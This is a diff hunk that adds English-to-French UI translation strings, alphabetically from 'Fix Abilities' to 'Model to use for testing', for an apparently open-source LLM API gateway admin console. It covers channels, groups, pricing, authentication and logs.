+    "Fix Abilities": "Corriger les capacités",
+    "Fixed abilities: {{success}} succeeded, {{fails}} failed": "Correction des capacités : {{success}} réussie(s), {{fails}} échouée(s)",
+    "Fixed price": "Prix fixe",
+    "Fixed price (USD)": "Prix fixe (USD)",
+    "FluentRead extension not detected. Please ensure it is installed and active.": "Extension FluentRead non détectée. Veuillez vous assurer qu'elle est installée et activée.",
+    "Follow the guided steps to prepare your workspace before the first login.": "Suivez les étapes guidées pour préparer votre espace de travail avant la première connexion.",
+    "Footer": "Pied de page",
+    "Footer text displayed at the bottom of pages": "Texte de pied de page affiché en bas des pages",
+    "footer.columns.about.links.aboutProject": "À propos du projet",
+    "footer.columns.about.links.contact": "Contactez-nous",
+    "footer.columns.about.links.features": "Fonctionnalités",
+    "footer.columns.about.title": "À propos de nous",
+    "footer.columns.docs.links.apiDocs": "Documentation API",
+    "footer.columns.docs.links.installation": "Guide d'installation",
+    "footer.columns.docs.links.quickStart": "Démarrage rapide",
+    "footer.columns.docs.title": "Documentation",
+    "footer.columns.related.links.midjourney": "Midjourney-Proxy",
+    "footer.columns.related.links.neko": "neko-api-key-tool",
+    "footer.columns.related.links.oneApi": "One API",
+    "footer.columns.related.title": "Projets liés",
+    "footer.defaultCopyright": "Tous droits réservés.",
+    "For channels added after May 10, 2025, no need to remove \".\" from model names during deployment": "Pour les canaux ajoutés après le 10 mai 2025, pas besoin de supprimer \".\" des noms de modèles lors du déploiement",
+    "For private deployments, format: https://fastgpt.run/api/openapi": "Pour les déploiements privés, format : https://fastgpt.run/api/openapi",
+    "Force AUTH LOGIN": "Forcer AUTH LOGIN",
+    "Force Format": "Forcer le format",
+    "Force format response to OpenAI standard (OpenAI channel only)": "Forcer la réponse au format standard OpenAI (canal OpenAI uniquement)",
+    "Force SMTP authentication using AUTH LOGIN method": "Forcer l'authentification SMTP en utilisant la méthode AUTH LOGIN",
+    "Forgot password": "Mot de passe oublié",
+    "Forgot password?": "Mot de passe oublié ?",
+    "Form reset to saved values": "Formulaire réinitialisé aux valeurs enregistrées",
+    "Format": "Format",
+    "Format JSON": "Formater JSON",
+    "Format:": "Format :",
+    "Format: Access Key ID|Secret Access Key": "Format : Access Key ID|Secret Access Key",
+    "Format: AccessKey|SecretKey (or just ApiKey if upstream is New API)": "Format : AccessKey|SecretKey (ou simplement ApiKey si l'amont est New API)",
+    "Format: Ak|Sk|Region": "Format : Ak|Sk|Region",
+    "Format: APIKey-AppId, e.g., fastgpt-0sp2gtvfdgyi4k30jwlgwf1i-64f335d84283f05518e9e041": "Format : APIKey-AppId, par ex. fastgpt-0sp2gtvfdgyi4k30jwlgwf1i-64f335d84283f05518e9e041",
+    "Format: APIKey|SecretKey": "Format : APIKey|SecretKey",
+    "Format: APPID|APISecret|APIKey": "Format : APPID|APISecret|APIKey",
+    "Format: AppId|SecretId|SecretKey": "Format : AppId|SecretId|SecretKey",
+    "Forward requests directly to upstream providers without any post-processing.": "Transférer les requêtes directement aux fournisseurs amont sans aucun post-traitement.",
+    "Free: {{free}} / Total: {{total}}": "Disponible : {{free}} / Total : {{total}}",
+    "Friendly name to identify this channel": "Nom convivial pour identifier ce canal",
+    "From Address": "De l'adresse",
+    "From IO.NET deployment": "Depuis le déploiement IO.NET",
+    "From model redirect, not yet added to models list": "Depuis la redirection du modèle, pas encore ajouté à la liste des modèles",
+    "Frontend Theme": "Thème du frontend",
+    "Full API Key": "Clé API complète",
+    "Full Base URL (supports": "URL de base complète (prend en charge",
+    "Full Code": "Code complet",
+    "Functions": "Fonctions",
+    "GC Count": "Nombre de GC",
+    "GC executed": "GC exécuté",
+    "GC execution failed": "Échec de l'exécution du GC",
+    "Gemini": "Gemini",
+    "Gemini will continue to auto-detect thinking mode even with the adapter disabled. Enable this only when you need finer control over pricing and budgeting.": "Gemini continuera à détecter automatiquement le mode de pensée même avec l'adaptateur désactivé. Activez ceci uniquement lorsque vous avez besoin d'un contrôle plus fin sur la tarification et le budget.",
+    "General": "Général",
+    "General Settings": "Paramètres généraux",
+    "Generate a Codex OAuth credential and paste it into the channel key field.": "Générer un identifiant OAuth Codex et le coller dans le champ clé du canal.",
+    "Generate and manage your API access token": "Générer et gérer votre jeton d'accès API",
+    "Generate credential": "Générer l'identifiant",
+    "Generate Lyrics": "Générer des paroles",
+    "Generate Music": "Générer de la musique",
+    "Generate new backup codes for account recovery": "Générer de nouveaux codes de secours pour la récupération du compte",
+    "Generate New Codes": "Générer de nouveaux codes",
+    "Generated image": "Image générée",
+    "Generating new codes will invalidate all existing backup codes.": "La génération de nouveaux codes invalidera tous les codes de sauvegarde existants.",
+    "Generating...": "Génération...",
+    "Generic cache": "Cache générique",
+    "Get notified when balance falls below this value": "Recevoir une notification lorsque le solde tombe en dessous de cette valeur",
+    "Get Started": "Commencer",
+    "GitHub": "GitHub",
+    "Give the group a recognizable name and optional description.": "Donnez au groupe un nom reconnaissable et une description facultative.",
+    "Give this group a recognizable name.": "Donnez un nom reconnaissable à ce groupe.",
+    "Global configuration and administrative tools.": "Configuration globale et outils d'administration.",
+    "Global Coverage": "Couverture mondiale",
+    "Global Model Configuration": "Configuration globale du modèle",
+    "Go Back": "Retour",
+    "Go back and edit": "Retour et modifier",
+    "Go to Dashboard": "Aller au tableau de bord",
+    "Go to first page": "Aller à la première page",
+    "Go to io.net API Keys": "Accéder aux clés API io.net",
+    "Go to last page": "Aller à la dernière page",
+    "Go to next page": "Aller à la page suivante",
+    "Go to previous page": "Aller à la page précédente",
+    "Go to settings": "Aller aux paramètres",
+    "Go to Settings": "Aller aux paramètres",
+    "Good": "Bon",
+    "Gotify Application Token": "Jeton d'application Gotify",
+    "Gotify Documentation": "Documentation Gotify",
+    "Gotify Server URL": "URL du serveur Gotify",
+    "gpt-3.5-turbo": "gpt-3.5-turbo",
+    "gpt-3.5-turbo-0125": "gpt-3.5-turbo-0125",
+    "gpt-4": "gpt-4",
+    "gpt-4, claude-3-opus, etc.": "gpt-4, claude-3-opus, etc.",
+    "GPU count": "Nombre de GPU",
+    "Grok": "Grok",
+    "Grok Settings": "Paramètres Grok",
+    "Group": "Groupe",
+    "Group & Quota": "Groupe et Quota",
+    "Group added. Click \"Save Settings\" to apply.": "Groupe ajouté. Cliquez sur \"Enregistrer les paramètres\" pour appliquer.",
+    "Group channels by tag for batch operations": "Regrouper les canaux par étiquette pour les opérations par lots",
+    "Group config overrides global limits, shares the same period": "La configuration du groupe annule les limites globales et partage la même période",
+    "Group deleted. Click \"Save Settings\" to apply.": "Groupe supprimé. Cliquez sur \"Enregistrer les paramètres\" pour appliquer.",
+    "Group details": "Détails du groupe",
+    "Group identifier": "Identifiant du groupe",
+    "Group is required": "Le groupe est requis",
+    "Group name": "Nom du groupe",
+    "Group Name": "Nom du groupe",
+    "Group name cannot be changed when editing.": "Le nom du groupe ne peut pas être modifié lors de la modification.",
+    "group ratio": "ratio de groupe",
+    "Group Ratio": "Ratio de groupe",
+    "Group ratios": "Ratios de groupe",
+    "Group updated. Click \"Save Settings\" to apply.": "Groupe mis à jour. Cliquez sur \"Enregistrer les paramètres\" pour appliquer.",
+    "Group-based rate limits": "Limites de débit basées sur le groupe",
+    "Group:": "Groupe :",
+    "Group: {{ratio}}x": "Groupe : {{ratio}}x",
+    "Groups": "Groupes",
+    "Groups *": "Groupes *",
+    "Groups that users can select when creating API keys.": "Groupes que les utilisateurs peuvent sélectionner lors de la création de clés API.",
+    "Guardrails": "Garde-fous",
+    "Guest": "Invité",
+    "h": "h",
+    "Haiku Model": "Modèle Haiku",
+    "Hang tight while we finish connecting your account.": "Patientez pendant que nous terminons la connexion de votre compte.",
+    "Hang tight while we securely link this account to your profile.": "Patientez pendant que nous lions en toute sécurité ce compte à votre profil.",
+    "Hardware": "Matériel",
+    "Hardware type": "Type de matériel",
+    "Has been disabled": "Désactivé avec succès",
+    "Has been enabled": "Activé avec succès",
+    "Has been invalidated": "Invalidé avec succès",
+    "Have a Code?": "Vous avez un code ?",
+    "Header": "En-tête",
+    "Header navigation": "Navigation d'en-tête",
+    "Header Override": "Remplacement d'en-tête",
+    "Hidden — verify to reveal": "Masqué — vérifiez pour révéler",
+    "Hide": "Masquer",
+    "Hide API key": "Masquer la clé API",
+    "High Performance": "Hautes performances",
+    "High-risk operation confirmation": "Confirmation d'opération à haut risque",
+    "High-risk status code retry confirmation text": "JE CONFIRME",
+    "High-risk status code retry input mismatch": "Le texte saisi ne correspond pas, veuillez réessayer.",
+    "High-risk status code retry input placeholder": "Veuillez saisir le texte de confirmation ci-dessus",
+    "High-risk status code retry risk check 1": "Je comprends que la relance sur ces codes d'état peut entraîner des frais normaux facturés par le fournisseur en amont, et que ces frais ne peuvent pas être récupérés.",
+    "High-risk status code retry risk check 2": "Je comprends que ces codes d'état indiquent généralement que la requête a été traitée avec succès par le fournisseur, et que la relance peut entraîner une double facturation.",
+    "High-risk status code retry risk check 3": "Je reconnais que ces configurations peuvent entraîner des pertes financières importantes et j'accepte tous les risques associés.",
+    "High-risk status code retry risk check 4": "J'ai soigneusement vérifié les règles de redirection de codes d'état ci-dessus et confirme qu'elles sont correctes.",
+    "High-risk status code retry risk disclaimer": "Les règles de redirection suivantes contiennent des configurations à haut risque. La relance sur ces codes d'état peut entraîner des frais normaux en amont non récupérables. Veuillez vérifier soigneusement.",
+    "Higher priority channels are selected first": "Les canaux de priorité plus élevée sont sélectionnés en premier",
+    "Historical Usage": "Utilisation historique",
+    "History of Midjourney-style image tasks.": "Historique des tâches d'images style Midjourney.",
+    "Hit criteria: If cached tokens exist in usage, it counts as a hit.": "Critère de hit : si des tokens en cache existent dans l'utilisation, cela compte comme un hit.",
+    "Hit Rate": "Taux de succès",
+    "Hit tier": "Palier atteint",
+    "Home": "Accueil",
+    "Home Page Content": "Contenu de la page d'accueil",
+    "Hostname or IP of your SMTP provider": "Nom d'hôte ou IP de votre fournisseur SMTP",
+    "Hour": "Heure",
+    "hours": "heures",
+    "How client credentials are sent to the token endpoint": "Comment les informations d'identification client sont envoyées au point de terminaison de jeton",
+    "How frequently the system tests all channels": "Fréquence à laquelle le système teste tous les canaux",
+    "How It Works": "Comment ça marche",
+    "How model mapping works": "Comment fonctionne le mappage de modèle",
+    "How much to charge for each US dollar of balance (Epay)": "Montant à facturer pour chaque dollar US de solde (Epay)",
+    "How this model name should match requests": "Comment ce nom de modèle doit correspondre aux requêtes",
+    "How to get an io.net API Key": "Comment obtenir une clé API io.net",
+    "How to reset my quota?": "Comment réinitialiser mon quota ?",
+    "How to select keys: random or sequential polling": "Comment sélectionner les clés : sondage aléatoire ou séquentiel",
+    "How will you use the platform?": "Comment allez-vous utiliser la plateforme ?",
+    "https://api.day.app/yourkey/{{title}}/{{content}}": "https://api.day.app/yourkey/{{title}}/{{content}}",
+    "https://api.example.com": "https://api.example.com",
+    "https://ark.ap-southeast.bytepluses.com": "https://ark.ap-southeast.bytepluses.com",
+    "https://ark.cn-beijing.volces.com": "https://ark.cn-beijing.volces.com",
+    "https://cloud.siliconflow.cn/i/hij0YNTZ": "https://cloud.siliconflow.cn/i/hij0YNTZ",
+    "https://docs.example.com": "https://docs.example.com",
+    "https://example.com": "https://example.com",
+    "https://example.com/logo.png": "https://example.com/logo.png",
+    "https://example.com/qr-code.png": "https://example.com/qr-code.png",
+    "https://example.com/topup": "https://example.com/topup",
+    "https://example.com/webhook": "https://example.com/webhook",
+    "https://gateway.example.com": "https://gateway.example.com",
+    "https://github.com/QuantumNous/new-api": "https://github.com/QuantumNous/new-api",
+    "https://gotify.example.com": "https://gotify.example.com",
+    "https://pay.example.com": "https://pay.example.com",
+    "https://provider.com/.well-known/openid-configuration": "https://provider.com/.well-known/openid-configuration",
+    "https://status.example.com": "https://status.example.com",
+    "https://wechat-server.example.com": "https://wechat-server.example.com",
+    "https://worker.example.workers.dev": "https://worker.example.workers.dev",
+    "https://your-server.example.com": "https://votre-serveur.example.com",
+    "Human-readable name shown to users during Passkey prompts.": "Nom lisible par l'homme affiché aux utilisateurs lors des invites de clé d'accès (Passkey).",
+    "I confirm enabling high-risk retry": "Je confirme l'activation de la relance à haut risque",
+    "I have read and agree to the": "J'ai lu et j'accepte les",
+    "I understand that disabling 2FA will remove all protection and backup codes": "Je comprends que la désactivation de la 2FA supprimera toute protection et les codes de secours",
+    "Icon": "Icône",
+    "Icon file must be 100 KB or smaller": "Le fichier icône doit être de 100 Ko ou moins",
+    "Icon identifier (e.g. github, gitlab)": "Identifiant d'icône (par exemple github, gitlab)",
+    "ID": "ID",
+    "If an upstream error contains any of these keywords (case insensitive), the channel will be disabled automatically.": "Si une erreur en amont contient l'un de ces mots-clés (insensible à la casse), le canal sera désactivé automatiquement.",
+    "If authorization succeeds, the generated JSON will be inserted into the key field. You still need to save the channel to persist it.": "Si l'autorisation réussit, le JSON généré sera inséré dans le champ clé. Vous devez encore enregistrer le canal pour le conserver.",
+    "If connecting to upstream One API or New API relay projects, use OpenAI type instead unless you know what you are doing": "Si vous vous connectez à des projets de relais One API ou New API en amont, utilisez le type OpenAI à la place sauf si vous savez ce que vous faites",
+    "If the affinity channel fails and retry succeeds on another channel, update affinity to the successful channel.": "Si le canal affinitaire échoue et qu'une nouvelle tentative réussit sur un autre canal, mettre à jour l'affinité vers le canal ayant réussi.",
+    "Image": "Image",
+    "Image Generation": "Génération d'images",
+    "Image In": "Entrée d’image",
+    "Image input": "Entrée image",
+    "Image Out": "Sortie d’image",
+    "Image Preview": "Aperçu de l'image",
+    "Image ratio": "Ratio d'image",
+    "Image to Video": "Image vers vidéo",
+    "Image Tokens": "Tokens image",
+    "Import to CC Switch": "Importer vers CC Switch",
+    "In Progress": "En cours",
+    "In:": "Entrée :",
+    "Include Group": "Inclure le groupe",
+    "Include Model": "Inclure le modèle",
+    "Include Rule Name": "Inclure le nom de la règle",
+    "Including failed requests, 0 = unlimited": "Y compris les requêtes échouées, 0 = illimité",
+    "Index": "Index",
+    "Initial quota given to new users": "Quota initial donné aux nouveaux utilisateurs",
+    "Initialization failed, please try again.": "L'initialisation a échoué, veuillez réessayer.",
+    "Initialize": "Initialiser",
+    "Initialize system": "Initialiser le système",
+    "Initializing…": "Initialisation…",
+    "Inpaint": "Inpainting",
+    "Input": "Entrée",
+    "Input mode": "Mode d'entrée",
+    "Input price": "Prix d’entrée",
+    "Input tokens": "Jetons d’entrée",
+    "Input Tokens": "Tokens d'entrée",
+    "Inspect user prompts": "Inspecter les invites utilisateur",
+    "Instance": "Instance",
+    "Integrations": "Intégrations",
+    "Inter-group overrides": "Dérogations inter-groupes",
+    "Inter-group ratio overrides": "Dérogations de ratio inter-groupes",
+    "Internal notes (not shown to users)": "Notes internes (non visibles par les utilisateurs)",
+    "Internal Server Error!": "Erreur interne du serveur !",
+    "Invalid chat link. Please contact the administrator.": "Lien de chat invalide. Veuillez contacter l'administrateur.",
+    "Invalid chat link. Please contact your administrator.": "Lien de chat invalide. Veuillez contacter votre administrateur.",
+    "Invalid code": "Code invalide",
+    "Invalid JSON": "JSON invalide",
+    "Invalid JSON format": "Format JSON invalide",
+    "Invalid JSON format or values out of allowed range": "Format JSON invalide ou valeurs hors plage autorisée",
+    "Invalid JSON in parameter override template": "JSON invalide dans le modèle de remplacement de paramètres",
+    "Invalid JSON string.": "Chaîne JSON invalide.",
+    "Invalid model mapping format": "Format de mappage de modèle invalide",
+    "Invalid Passkey registration response": "Réponse d'enregistrement de passe-clé invalide",
+    "Invalid Passkey response": "Réponse Passkey invalide",
+    "Invalid payment redirect URL": "URL de redirection de paiement non valide",
+    "Invalid reset link, please request a new password reset": "Lien de réinitialisation invalide, veuillez demander une nouvelle réinitialisation de mot de passe",
+    "Invalid reset link, please request a new password reset.": "Lien de réinitialisation invalide, veuillez demander une nouvelle réinitialisation du mot de passe.",
+    "Invalid rules JSON format": "Format JSON des règles invalide",
+    "Invalid status code mapping entries: {{entries}}": "Entrées de mappage de code d'état invalides : {{entries}}",
+    "Invalidate": "Invalider",
+    "Invalidated": "Invalidé",
+    "Invitation Code": "Code d'invitation",
+    "Invitation Quota": "Quota d'invitation",
+    "Invite Info": "Informations sur l'invitation",
+    "Invited": "Invité",
+    "Invited by user ID": "Invité par l'ID utilisateur",
+    "Invited Users": "Utilisateurs invités",
+    "Invitee Reward": "Récompense de l'invité",
+    "Inviter": "Inviteur",
+    "Inviter Reward": "Récompense de l'inviteur",
+    "Invites": "Invitations",
+    "io.net API Key": "Clé API io.net",
+    "io.net Deployments": "Déploiements io.net",
+    "IP": "IP",
+    "IP Address": "Adresse IP",
+    "IP Filter Mode": "Mode de filtre IP",
+    "IP Restriction": "Restriction IP",
+    "IP Whitelist (supports CIDR)": "Liste blanche IP (supporte CIDR)",
+    "is less than the configured maximum cache size": "est inférieur à la taille maximale du cache configurée",
+    "is the default price; ": "est le prix par défaut ; ",
+    "It seems like the page you're looking for": "Il semble que la page que vous recherchez",
+    "Items": "Éléments",
+    "Japanese": "Japonais",
+    "Jimeng": "Jimeng",
+    "Jina": "Jina",
+    "JSON": "JSON",
+    "JSON array of group identifiers. When enabled below, new tokens rotate through this list.": "Tableau JSON d'identifiants de groupe. Lorsqu'il est activé ci-dessous, les nouveaux jetons alternent dans cette liste.",
+    "JSON Editor": "Édition JSON",
+    "JSON format supports service account JSON files": "Le format JSON prend en charge les fichiers JSON de compte de service",
+    "JSON map of group → description exposed when users create API keys.": "Carte JSON de groupe → description exposée lorsque les utilisateurs créent des clés API.",
+    "JSON map of group → ratio applied when the user selects the group explicitly.": "Carte JSON de groupe → ratio appliqué lorsque l'utilisateur sélectionne explicitement le groupe.",
+    "JSON map of model → multiplier applied to quota billing.": "Carte JSON de modèle → multiplicateur appliqué à la facturation par quota.",
+    "JSON map of model → USD cost per request. Takes precedence over ratio based billing.": "Carte JSON de modèle → coût en USD par requête. Prend le pas sur la facturation basée sur le ratio.",
+    "JSON Mode": "Mode JSON",
+    "JSON must be an object": "Le JSON doit être un objet",
+    "JSON object:": "Objet JSON :",
+    "JSON-based access control rules. Leave empty to allow all users.": "Règles de contrôle d'accès basées sur JSON. Laisser vide pour autoriser tous les utilisateurs.",
+    "Just now": "À l'instant",
+    "JustSong": "JustSong",
+    "K": "K",
+    "Keep enabled if you need to proxy requests for different upstream accounts.": "Gardez activé si vous devez proxifier les requêtes pour différents comptes en amont.",
+    "Keep this above 1 minute to avoid heavy database load": "Gardez cette valeur au-dessus de 1 minute pour éviter une charge excessive de la base de données",
+    "Keep-alive Ping": "Ping de maintien de connexion",
+    "Key": "Clé",
+    "Key Fingerprint": "Empreinte de clé",
+    "Key Sources": "Sources de clé",
+    "Key Summary": "Résumé de clé",
+    "Key Update Mode": "Mode de mise à jour de la clé",
+    "Kling": "Kling",
+    "Knowledge Base ID *": "ID de la base de connaissances *",
+    "Landing page with system overview.": "Page d'accueil avec aperçu du système.",
+    "Last Login": "Dernière connexion",
+    "Last Seen": "Dernière fois",
+    "Last Tested": "Dernier testé",
+    "Last updated:": "Dernière mise à jour :",
+    "Last Used": "Dernière utilisation",
+    "Last used:": "Dernière utilisation :",
+    "Layout": "Disposition",
+    "Learn more": "En savoir plus",
+    "Learn more:": "En savoir plus :",
+    "Leave": "Quitter",
+    "Leave blank to keep the existing credential": "Laissez vide pour conserver l'identifiant existant",
+    "Leave blank to keep the existing key": "Laisser vide pour conserver la clé existante",
+    "Leave blank unless rotating the secret": "Laissez vide, sauf si vous faites pivoter le secret",
+    "Leave empty for never expires": "Laissez vide pour qu'il n'expire jamais",
+    "Leave empty to disable the agreement requirement. Supports Markdown, HTML, or a full URL to redirect users.": "Laissez vide pour désactiver l'exigence d'accord. Prend en charge Markdown, HTML ou une URL complète pour rediriger les utilisateurs.",
+    "Leave empty to disable the privacy policy requirement. Supports Markdown, HTML, or a full URL to redirect users.": "Laissez vide pour désactiver l'exigence de politique de confidentialité. Prend en charge Markdown, HTML ou une URL complète pour rediriger les utilisateurs.",
+    "Leave empty to disband the tag": "Laissez vide pour dissoudre l'étiquette",
+    "Leave empty to keep existing key": "Laissez vide pour conserver la clé existante",
+    "Leave empty to keep unchanged": "Laissez vide pour conserver inchangé",
+    "Leave empty to use account email": "Laissez vide pour utiliser l'e-mail du compte",
+    "Leave empty to use default": "Laisser vide pour utiliser la valeur par défaut",
+    "Leave empty to use system temp directory": "Laisser vide pour utiliser le répertoire temporaire",
+    "Leave empty to use username": "Laissez vide pour utiliser le nom d'utilisateur",
+    "Less": "Moins",
+    "Light": "Clair",
+    "Lightning Fast": "Extrêmement rapide",
+    "Limit period": "Période de limite",
+    "Limit Reached": "Limite atteinte",
+    "Limit which models can be used with this key": "Limiter les modèles pouvant être utilisés avec cette clé",
+    "Limited": "Limité",
+    "LingYiWanWu": "LingYiWanWu",
+    "Link to your documentation site": "Lien vers votre site de documentation",
+    "LinuxDO": "LinuxDO",
+    "LinuxDO Client ID": "ID client LinuxDO",
+    "LinuxDO Client Secret": "Secret client LinuxDO",
+    "List of models supported by this channel. Use comma to separate multiple models.": "Liste des modèles pris en charge par ce canal. Utilisez une virgule pour séparer plusieurs modèles.",
+    "List of origins (one per line) allowed for Passkey registration and authentication.": "Liste des origines (une par ligne) autorisées pour l'enregistrement et l'authentification des clés d'accès (Passkey).",
+    "List view": "Vue en liste",
+    "LLM prompt helper": "Assistant prompt LLM",
+    "Load Balancing": "Équilibrage de charge",
+    "Load template...": "Charger le modèle...",
+    "Loader": "Chargeur",
+    "Loading configuration": "Chargement de la configuration",
+    "Loading content settings...": "Chargement des paramètres de contenu...",
+    "Loading current models...": "Chargement des modèles actuels...",
+    "Loading failed": "Échec du chargement",
+    "Loading maintenance settings...": "Chargement des paramètres de maintenance...",
+    "Loading settings...": "Chargement des paramètres...",
+    "Loading setup status…": "Chargement du statut de configuration…",
+    "Loading...": "Chargement...",
+    "Local": "Local",
+    "Local Billing": "Facturation locale",
+    "Local models": "Modèles locaux",
+    "Locations": "Emplacements",
+    "Locked": "Verrouillé",
+    "log": "journal",
+    "Log Details": "Détails du journal",
+    "Log Directory": "Répertoire des journaux",
+    "Log File Count": "Nombre de fichiers journaux",
+    "Log files older than {{value}} days will be deleted.": "Les fichiers journaux de plus de {{value}} jours seront supprimés.",
+    "Log IP address for usage and error logs": "Enregistrer l'adresse IP pour les journaux d'utilisation et d'erreurs",
+    "Log Maintenance": "Maintenance des journaux",
+    "Log Type": "Type de journal",
+    "Login failed": "Échec de la connexion",
+    "Logo": "Logo",
+    "Logo URL": "URL du logo",
+    "Logs": "Journaux",
+    "m": "m",
+    "Maintain a list of common questions for the dashboard help panel": "Maintenir une liste de questions courantes pour le panneau d'aide du tableau de bord",
+    "Maintenance": "Maintenance",
+    "Make it easier for teammates to pick the right group.": "Faciliter le choix du bon groupe pour les coéquipiers.",
+    "Manage": "Gestion",
+    "Manage account bindings for this user": "Gérer les liaisons de compte pour cet utilisateur",
+    "Manage and configure": "Gérer et configurer",
+    "Manage API channels and provider configurations": "Gérer les canaux d'API et les configurations des fournisseurs",
+    "Manage Bindings": "Gérer les liaisons",
+    "Manage catalog visibility and pricing.": "Gérer la visibilité du catalogue et les prix.",
+    "Manage custom OAuth providers for user authentication": "Gérer les fournisseurs OAuth personnalisés pour l'authentification des utilisateurs",
+    "Manage Keys": "Gérer les clés",
+    "Manage local models for:": "Gérer les modèles locaux pour :",
+    "Manage model deployments": "Gérer les déploiements de modèles",
+    "Manage model metadata and configuration": "Gérer les métadonnées et la configuration des modèles",
+    "Manage multi-key status and configuration for this channel": "Gérer le statut multi-clés et la configuration pour ce canal",
+    "Manage Ollama Models": "Gérer les modèles Ollama",
+    "Manage redemption codes for quota top-up": "Gérer les codes d'échange pour la recharge de quota",
+    "Manage server log files. Log files accumulate over time; regular cleanup is recommended to free disk space.": "Gérer les fichiers journaux du serveur. Les fichiers journaux s'accumulent au fil du temps ; un nettoyage régulier est recommandé.",
+    "Manage subscription plan creation, pricing and status": "Gérer la création, la tarification et le statut des abonnements",
+    "Manage subscription plans and pricing.": "Gérer les plans d'abonnement et les tarifs.",
+    "Manage Subscriptions": "Gérer les abonnements",
+    "Manage users and their permissions": "Gérer les utilisateurs et leurs permissions",
+    "Manage Vendors": "Gérer les fournisseurs",
+    "Manage your API keys for accessing the service": "Gérer vos clés API pour accéder au service",
+    "Manage your balance and payment methods": "Gérer votre solde et vos méthodes de paiement",
+    "Manage your security settings and account access": "Gérer vos paramètres de sécurité et l'accès à votre compte",
+    "Manual Disabled": "Désactivé manuellement",
+    "Map fields from the user info response to local user attributes. Supports nested paths (e.g. ocs.data.id).": "Mapper les champs de la réponse des informations utilisateur vers les attributs utilisateur locaux. Supporte les chemins imbriqués (par exemple ocs.data.id).",
+    "Map model identifiers to Gemini API versions. A `default` entry applies when no specific match is found.": "Mapper les identifiants de modèle aux versions de l'API Gemini. Une entrée `default` s'applique lorsqu'aucune correspondance spécifique n'est trouvée.",
+    "Map request model names to actual provider model names (JSON format)": "Mapper les noms de modèles de requête aux noms réels de modèles du fournisseur (format JSON)",
+    "Map response status codes (JSON format)": "Mapper les codes de statut de réponse (format JSON)",
+    "Map upstream status codes to different codes": "Mapper les codes de statut amont à différents codes",
+    "Match model name exactly": "Correspondance exacte du nom du modèle",
+    "Match models containing this name": "Correspondance des modèles contenant ce nom",
+    "Match models ending with this name": "Correspondance des modèles se terminant par ce nom",
+    "Match models starting with this name": "Correspondance des modèles commençant par ce nom",
+    "Match Type": "Type de correspondance",
+    "Matched": "Correspondant",
+    "Matched Tier": "Palier correspondant",
+    "Matching Rules": "Règles de correspondance",
+    "Max Disk Cache Size (MB)": "Taille max du cache disque (Mo)",
+    "Max Entries": "Entrées max",
+    "Max Requests (incl. failures)": "Max Requêtes (incl. échecs)",
+    "Max Requests (including failures)": "Max Requêtes (incluant les échecs)",
+    "Max requests per period": "Nombre max de requêtes par période",
+    "Max Success": "Max Succès",
+    "Max successful requests": "Nombre max de requêtes réussies",
+    "Max Successful Requests": "Max Requêtes réussies",
+    "Maximum 1000 characters. Supports Markdown and HTML.": "Maximum 1000 caractères. Prend en charge Markdown et HTML.",
+    "Maximum 200 characters": "Maximum 200 caractères",
+    "Maximum 500 characters. Supports Markdown and HTML.": "Maximum 500 caractères. Prend en charge Markdown et HTML.",
+    "Maximum check-in quota": "Quota maximum de connexion",
+    "Maximum quota amount awarded for check-in": "Montant maximum de quota attribué pour la connexion",
+    "maxRequests ≥ 0, maxSuccess ≥ 1, both ≤ 2,147,483,647": "maxRequests ≥ 0, maxSuccess ≥ 1, les deux ≤ 2 147 483 647",
+    "Memory Hits": "Hits mémoire",
+    "Memory Threshold (%)": "Seuil mémoire (%)",
+    "Merchant ID": "ID du commerçant",
+    "Merchant ID is required": "L'ID marchand est requis",
+    "Message Priority": "Priorité du message",
+    "Metadata": "Métadonnées",
+    "Midjourney": "Midjourney",
+    "MidjourneyPlus": "MidjourneyPlus",
+    "Min Top-up": "Recharge min.",
+    "Min Top-up:": "Recharge min. :",
+    "MiniMax": "MiniMax",
+    "Minimum check-in quota": "Quota minimum de connexion",
+    "Minimum LinuxDO trust level required": "Niveau de confiance minimum LinuxDO requis",
+    "Minimum quota amount awarded for check-in": "Montant minimum de quota attribué pour la connexion",
+    "Minimum recharge amount in USD": "Montant de recharge minimum en USD",
+    "Minimum recharge amount to qualify for this discount.": "Montant minimum de recharge pour bénéficier de cette remise.",
+    "Minimum top-up (optional)": "Recharge minimum (facultatif)",
+    "Minimum top-up (USD)": "Recharge minimum (USD)",
+    "Minimum top-up amount must be at least 1": "Le montant minimum de recharge doit être d'au moins 1",
+    "Minimum top-up quantity": "Quantité minimale de recharge",
+    "Minimum topup amount: {{amount}}": "Montant minimum de recharge : {{amount}}",
+    "Minimum Trust Level": "Niveau de confiance minimum",
+    "Minimum:": "Minimum :",
+    "Minute": "Minute",
+    "minutes": "minutes",
+    "Missing code": "Code manquant",
+    "Missing Models": "Modèles manquants",
+    "Missing user data from Passkey login response": "Données utilisateur manquantes de la réponse de connexion Passkey",
+    "Mistral": "Mistral",
+    "Mode": "Mode",
+    "model": "modèle",
+    "Model": "Modèle",
+    "Model Access": "Accès au modèle",
+    "Model Analytics": "Analyse des modèles",
+    "Model Call Analytics": "Analyse des appels de modèles",
+    "Model context usage": "Utilisation du contexte du modèle",
+    "Model deleted": "Modèle supprimé",
+    "Model deleted successfully": "Modèle supprimé avec succès",
+    "Model deployment service is disabled": "Le service de déploiement de modèles est désactivé",
+    "Model Description": "Description du modèle",
+    "Model disabled successfully": "Modèle désactivé avec succès",
+    "Model enabled successfully": "Modèle activé avec succès",
+    "Model fixed pricing": "Tarification fixe du modèle",
+    "Model Group": "Groupe de modèles",
+    "Model Limits": "Limites du modèle",
+    "Model Mapping": "Mappage de modèle",
+    "Model Mapping (JSON)": "Mappage de modèle (JSON)",
+    "Model Mapping must be a JSON object like": "Le mappage de modèle doit être un objet JSON tel que",
+    "Model mapping must be valid JSON": "La cartographie des modèles doit être un JSON valide",
+    "Model name": "Nom du modèle",
+    "Model Name": "Nom du modèle",
+    "Model Name *": "Nom du modèle *",
+    "Model name is required": "Le nom du modèle est requis",
+    "Model names copied to clipboard": "Noms des modèles copiés dans le presse-papiers",
+    "Model not found": "Modèle introuvable",
+    "Model Price": "Prix du modèle",
+    "Model Price Not Configured": "Prix du modèle non configuré",
+    "Model Pricing": "Tarification des modèles",
+    "Model pull failed: {{msg}}": "Échec du téléchargement du modèle : {{msg}}",
+    "Model ratio": "Ratio modèle",
+    "Model ratios": "Ratios de modèle",
+    "Model ratios reset successfully": "Ratios des modèles réinitialisés avec succès",
+    "Model Regex": "Regex du modèle",
+    "Model Regex (one per line)": "Regex du modèle (un par ligne)",
+    "Model to use for testing": "Modèle à utiliser pour les tests",
